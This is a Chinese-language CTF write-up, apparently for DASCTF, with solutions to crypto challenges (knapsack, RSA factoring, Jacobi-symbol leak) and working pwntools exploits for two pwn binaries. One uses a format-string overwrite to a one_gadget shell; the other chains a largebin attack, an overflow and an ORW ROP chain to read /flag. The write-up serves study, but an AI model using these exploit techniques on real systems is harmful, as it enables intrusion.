现在这密码全是格了,这格怎么个格法?
Crypto
complex_enc
from Crypto.Util.number import *
import random
from secret import flag
def GET_KEY(n):
sum=2
key=[1]
for i in range(n):
r=random.randint(0,1)
x=sum+random.randint(0,n)*r
key.append(x)
sum+=x
return key
def enc(m,k):
cipher_list = []
for i in range(len(m)):
if m[i] == 1:
cipher_list.append(m[i] * k[i])
cipher = sum(cipher_list)
return cipher
m=bytes_to_long(flag)
m = [int(bit) for byte in flag for bit in format(byte, '08b')] #转2进制位
key=GET_KEY(len(m))
c=enc(m,key)
with open('output.txt', 'w') as f:
f.write(str(c))
f.write(str(key))
一个不带模的背包,从大到小如果够减就是1不够就是0,最后组一起。
m = ''
for i in key[::-1]:
if c>=i:
c -=i
m+='1'
else:
m+='0'
m = m[::-1]
''.join([chr(int(m[i:i+8],2)) for i in range(0,len(m),8)])
#DASCTF{you_kn0w_b@ckpack_Crypt0?}
1z_RSA
from Crypto.Util.number import *
from sympy import *
import os
from secrets import flag
nbit =130
e = 3
l = getPrime(505)
m = bytes_to_long(flag + os.urandom(64)) #744
assert len(flag) == 29
while True:
p, q = getPrime(nbit), getPrime(nbit)
PQ = int(str(p<<120)+str(q)) #p*2^120*10^40 + q
QP = int(str(q<<120)+str(p)) #q*2^120*10^40 + p
if isPrime(PQ) and isPrime(QP):
break
n = PQ * QP
PP = nextprime((PQ >> 190) * (QP & (2 ** 190 - 1)))
QQ = nextprime((QP >> 190) * (PQ & (2 ** 190 - 1)))
N = PP * QQ
M = pow(m,1,l)
c = pow(m,e,N)
print('n =', n)
print('M =', M)
print('l =', l)
print('c =', c)
'''
n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
'''
一个分解题,PQ和QP给了一个公式,由于是字符串连接所以130素数pq长度可能是39或40
得到以下式子:
这里如果取用2**240*10**(a+b)取模的话得到的pq最后7-8位有污染(p**2*2**120*10**a 有几位超过前边的模但量不大可以爆破)同时如果取尾部的话得到的pq会少前几位。
拿这两个数爆破一下,相遇的时候就是pq
b1b2 = [(39,39),(39,40),(40,40)]
for b1,b2 in b1b2:
print(b1,b2)
pqh =[n//(2**240*10**(b1+b2)) - i for i in range(1024)]
for j in range(1024):
pql = n%(2**120*10**39) + j*(2**120*10**39)
if pql in pqh:
print(b1,b2,pql)
#39 40 1037975878166511826028989164959056901830467784888422790178920804822224673755691
pq = 1037975878166511826028989164959056901830467784888422790178920804822224673755691
然后再通过公式中的p^2,q^2来分解
from z3 import *
p,q = Ints('p q')
s = Solver()
s.add(p*q == pq)
s.add(pq*2**240*10**(79) + p**2*2**120*10**39 + q**2*2**120*10**40 + pq == n)
s.check()
s.model()
#p,q = 855604426214387476576649090490109822073,1213149261930568621267125437333569321667
通过原式得到PP,QQ
#PP,QQ
PQ = int(str(p<<120)+str(q))
QP = int(str(q<<120)+str(p))
PP = next_prime((PQ >> 190) * (QP & (2 ** 190 - 1)))
QQ = next_prime((QP >> 190) * (PQ & (2 ** 190 - 1)))
phi = (PP-1)*(QQ-1)
PP = 3568645677145678186647847767913853195136375094554794216910078595159477139561591230815568312539748091309459843040473
QQ = 214068192062555191214464440527253433970199685522983500319669073855320868671968745050948493965230424975401521253723
这是(QQ-1)%3==0 所以先单独用PP求出m对PP的解再与题目给出的l取CRT,l 505位,PP 380多位,m只有744位,恰好可求。
#gcd(3,QQ-1) == 3 用PP求380位,再与l 500位 求CRT
mp = pow(c,inverse(3,PP-1),PP)
m = crt([int(mp),M],[PP,l])
long_to_bytes(m)
#DASCTF{Ar3_Y0u_Su93_Abt139??}
found
from Crypto.Util.number import *
from random import *
from secret import flag
from sympy import *
bits = 1024
l = 138833858362699289505402947409766595473722379891580589518174731439613184249727659678966809301611194545239974736175752769503863392697421092435438747741790652435801956708356186578269272819715592752821497122516109657809748674185639254430403157877064556216401002688452227124543508128414591884297632663910714681207
assert isPrime(l)
def generate_prime(bits):
return randprime(2**(bits-1), 2**bits)
def fun(data,y,n):
return sum([data[i] * pow(y,i,n) for i in range(len(data))]) % n
def gen(x, y, z, w, n):
data = [randint(n // 4, n) for _ in range(10)]
leak1 = pow(x + pow(y, z, n), w, n)
leak2 = fun(data, y, n)
return data, leak1, leak2
def encrypt(l,m,n):
mm = bin(m)[2:].zfill((m.bit_length() // 8 + 1) * 8)
length = len(mm)
c = []
s = []
for i in range(length):
a = randint(1, n)
s.append(pow(a, length, n))
for j in range(length):
c.append(pow(l,int(mm[j]),n) * s[j] % n)
return c
p, q = [generate_prime(bits) for _ in range(2)]
r = generate_prime(bits // 4)
n = p ** 2 * q * r
e1 = generate_prime(128)
e2 = generate_prime(128)
phi1 = p * (p - 1) * (q - 1) * (r - 1)
phi2 = (p - 1) * (p - 2) * (q - 2) * (r - 2)
d1 = inverse(e1, phi1)
d2 = inverse(e2, phi2)
t = getRandomRange(n // 4, n)
data, leak1, leak2 = gen(r, t, e1, d1, n)
m = bytes_to_long(flag)
c = encrypt(l, m, n)
with open('output.txt','w') as f:
f.write(f'n = {n}\n')
f.write(f'e1 = {e1}\n')
f.write(f'ed = {e2 * d2}\n')
f.write(f'data = {data}\n')
f.write(f'leak1 = {leak1}\n')
f.write(f'leak2 = {leak2}\n')
f.write(f'c = {c}')
这是一个非常长的程序,有数不清的数,但由于s[i] = pow(rand,length,n),length是偶数这个s[i]是一个二次剩余,当flag_bin那位是1时乘上因子就不再是二次剩余,而是0是l**0==1结果就是s[i]还是二次剩余。用以可以用jacobi符号来判断那位是否为0
m = ''.join(['0' if jacobi(i,n)==1 else '1' for i in c])
''.join([chr(int(mm[i:i+8],2)) for i in range(0,len(mm),8)])
#DASCTF{c764ba09-b2aa-12ed-ab17-9408ad39ce84}
*EZshamir
感觉是个RLWE,B=As+e 但是跟着大佬的博客,整了半天也没出来。
import os
from random import getrandbits
from hashlib import sha256, md5
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag
class Shamir:
def __init__(self, pbits, noise_bit, n, m):
self.pbits = pbits
self.noise_bit = noise_bit
self.n = n
self.m = m
self.p = getPrime(pbits)
P.<x> = PolynomialRing(Zmod(self.p))
self.poly = P([bytes_to_long(sha256(os.urandom(32)).digest()) for i in range(self.n)])
def sample(self):
t = getrandbits(self.pbits)
y = int(self.poly(t))
noise = getrandbits(noise_bit)
return (t, y | noise)
def get_msg(self):
res = []
for i in range(self.m):
res.append(self.sample())
return res
pbits = 400
noise_bit = 32
n = 100
m = 75
shamir = Shamir(pbits, noise_bit, n, m)
coefficient = shamir.poly()
key = "".join([str(i) for i in list(coefficient)[1:]])
key = md5(key.encode()).digest()
aes = AES.new(key = key, mode = AES.MODE_ECB)
ct = aes.encrypt(pad(flag, 16))
with open("data.txt", "w") as f:
f.write(str(shamir.p)+'\n')
f.write(str(shamir.get_msg())+'\n')
f.write(str(bytes_to_long(ct))+'\n')
*DAS
又超出我会的范围了
import random
from DDAASSSAA import *
from Crypto.Util.Padding import pad
from flag import FLAG
ALPHABET = "DAS"
KEY_LENGTH = 32
#生成指定长度由DAS组成的串
def generate_random_string(length, chars):
return ''.join(random.choice(chars) for _ in range(length))
def get_message(num_messages):
return [generate_random_string(random.randint(20, 32), ALPHABET) for _ in range(num_messages)]
def get_key():
return generate_random_string(KEY_LENGTH, ALPHABET).encode()
def get_strong_prime(kbits):
while True:
q = getPrime(kbits)
p = q * 2 + 1
if isPrime(p):
return p, q
def write_to_file(filename, data, rwx="w"):
with open(filename, rwx) as file:
for item in data:
file.write(f"{item}\n")
if __name__ == "__main__":
num_messages = 2024 // 65
messages = get_message(num_messages) #生成31段,20-32长的DAS串 gift.txt给出
p, q = get_strong_prime(256) #p = 2q+1 enc.txt尾部给出p,q,g,y
x = random.randrange(q)
key = get_key() #32字节DAS串
signer = SimpleDSASigner(p, q, 2, x, key)
write_to_file("GIFT.txt", messages)
signatures = [signer.sign(pad(msg.encode(), 32)) for msg in messages]
write_to_file("enc.txt", map(str, signatures))
write_to_file("enc.txt", [str(signer.give_gift())],"a")
assert FLAG==b"DASCTF{"+key+b"}"
DDAASSSAA.py
from Crypto.Util.number import *
import hashlib
b2l=lambda x:bytes_to_long(x)
l2b=lambda x:long_to_bytes(x)
def xor(A,B):
return bytes([a ^ b for a, b in zip(A, B)])
class SimpleDSASigner:
def __init__(self, p, q, g, x,KEY):
self.p = p
self.q = q
self.g = g
self.x = x
self.y = pow(self.g, self.x, self.p)
self.KEY=KEY
def sign(self, message):
h = int(hashlib.sha256(message).hexdigest(), 16)
k = b2l(xor(message,self.KEY))
r = pow(self.g, k, self.p) % self.q
s = (inverse(k, self.q) * (h + self.x * r)) % self.q
if r != 0 and s != 0:
return (r, s)
def verify(self, message, r, s):
h = int(hashlib.sha256(message).hexdigest(), 16)
w = inverse(s, self.q)
u1 = (h * w) % self.q
u2 = (r * w) % self.q
v = ((pow(self.g, u1, self.p) * pow(self.y, u2, self.p)) % self.p) % self.q
return v == r
def give_gift(self):
return (self.p,self.q,self.g,self.y)
p,q,g,y,message,signatures都已经给出,求KEY
PWN
springboard
是一道格式化字符串的题,i定义了5次限制,并且值不在栈内
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]
myinit();
......
for ( i = 0; i <= 4; ++i )
{
puts("You have an 5 chances to get a flag");
printf("This is the %d time\n", (unsigned int)(i + 1));
puts("Please enter a keyword");
read(0, bss, 0x40uLL);
printf(bss);
}
return 0;
}
1,值不在栈内,可以通过argv链在栈内写数值。
2,每弄几次要重写一下i
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = process('./pwn')
def fmt(msg):
p.sendafter(b"Please enter a keyword\n", msg)
#第1次,泄露libc,stack 计算i和ret的位置
fmt("%9$p,%11$p,\0")
libc.address = int(p.recvuntil(b',', drop=True),16) - 240 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16)
ptr_i = stack - 0xef
ptr_rop = stack -0xe0
print(f"{libc.address = :x} {stack = :x} {ptr_i = :x} {ptr_rop = :x}")
#修改argv链,让#11->#37->&i
fmt(f"%{ptr_i&0xffff}c%11$hn\0")
#由于ret前有mov rax,0 所以可以直接用one
one = p64(libc.address + 0x45226)
for i in range(6):
#cleak i
fmt(f"%{ptr_i&0xff}c%11$hhn\0")
fmt(f"%37$n\0")
#write rop
fmt(f"%{(ptr_rop+i)&0xff}c%11$hhn\0")
fmt(f"%{one[i]}c%37$hhn\0")
fmt('\0')
fmt('\0')
p.interactive()
'''
0x00007fffffffde30│+0x0000: 0x00007fffffffdf20 → 0x0000000000000001 ← $rsp
0x00007fffffffde38│+0x0008: 0x0000000000000000 #i 0x00007fffffffde3c
0x00007fffffffde40│+0x0010: 0x0000000000400840 ← $rbp
0x00007fffffffde48│+0x0018: 0x00007ffff7820840 → <__libc_start_main+240> mov edi, eax
0x00007fffffffde50│+0x0020: 0x0000000000000000
0x00007fffffffde58│+0x0028: 0x00007fffffffdf28 → 0x00007fffffffe279 → "/home/kali/ctf/2407/das/p1/pwn"
0x00007fffffffde60│+0x0030: 0x0000000100000000
0x00007fffffffde68│+0x0038: 0x0000000000400767 → <main+0> push rbp
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
'''
magicbook
看上去是个堆题,有add,free,edit,其中free有d限制可以有1次对其它指针+8位置的写0x18字节
edit与题目的堆块无关,只是写一个串到dest,但长度是book数。如果修改book会形成栈溢出。
__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]);
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 89 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}
void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("come on,Write down your story!");
read(0, buf, book);
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}
add可以写5次,用这5次正好作一个largebin attack在free的时候写指针next_bk=&book-0x20,在book写入大数后(book是short型,可能会成负数读不成功,打开aslr后概率0.5)利用edit_the_book进行栈溢出泄露libc,heap并写ROP
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = process('./pwn')
p.recvuntil(b"give you a gift: ")
elf.address = int(p.recvuntil(b'what', drop=True),16) - 0x4010
print(f"{elf.address = :x}")
pop_rdi = elf.address + 0x0000000000001863 # pop rdi ; ret
def add(size):
p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b"How many pages does your book need?\n", str(size).encode())
def free1(idx1,idx2,msg):
p.sendlineafter(b"Your choice:\n", b'2')
p.sendlineafter(b"which book would you want to delete?", str(idx1).encode())
p.sendafter(b"Do you want to say anything else before being deleted?(y/n)\n", b'YYYY')
p.sendlineafter(b"which page do you want to write?\n", str(idx2).encode())
p.sendafter(b"content: ", msg)
def free2(idx1):
p.sendlineafter(b"Your choice:\n", b'2')
p.sendlineafter(b"which book would you want to delete?", str(idx1).encode())
p.sendafter(b"Do you want to say anything else before being deleted?(y/n)\n", b'n')
def edit(msg):
p.sendlineafter(b"Your choice:\n", b'3')
p.sendafter(b"come on,Write down your story!\n", msg)
#largebin Attack 在book写堆指针
add(0x4e0)
add(0x100)
add(0x4c0)
free2(0)
add(0x500)
free1(2,0,flat(0,0,elf.sym['book']-0x20))
add(0x500)
#泄露地址
#puts(got.puts),puts(desc),edit_the_book
dest = elf.address +0x4088
edit(flat(b'\0'*0x28, pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi, dest, elf.plt['puts'], elf.sym['edit_the_book']))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")
heap = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(f"{heap = :x}")
#ORW
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
syscall = libc.sym['getpid']+9
pay = b'/flag'.ljust(0x28, b'\x00')
pay += flat([pop_rdi, heap, pop_rsi,0, pop_rax,2, syscall,
pop_rdi,3,pop_rsi,heap,pop_rdx,0x50,0, pop_rax,0, syscall,
pop_rdi,1,pop_rax,1,syscall
])
p.sendafter(b"come on,Write down your story!\n", pay)
p.interactive()
'''
0x555555558000: 0x0000000000000000 0x0000555555558008
0x555555558010 <d>: 0x0000000000000001 0x0000000000000000
0x555555558020 <stdout@@GLIBC_2.2.5>: 0x00007ffff7e1b780 0x0000000000000000
0x555555558030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7e1aaa0 0x0000000000000000
0x555555558040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e1b6a0 0x0000000000000000
0x555555558050 <book>: 0x0000000000000000 0x0000000000000000
0x555555558060 <p>: 0x0000000000000000 0x0000000000000000
0x555555558070 <p+16>: 0x0000000000000000 0x0000000000000000
0x555555558080 <p+32>: 0x0000000000000000 0x000055555555bfb0
'''
*???
还有一道pwn题是啥?没有附件,比赛一完马上就没,严厉批评buu。
差的题多会弄明白了再补。一时半会明白不了。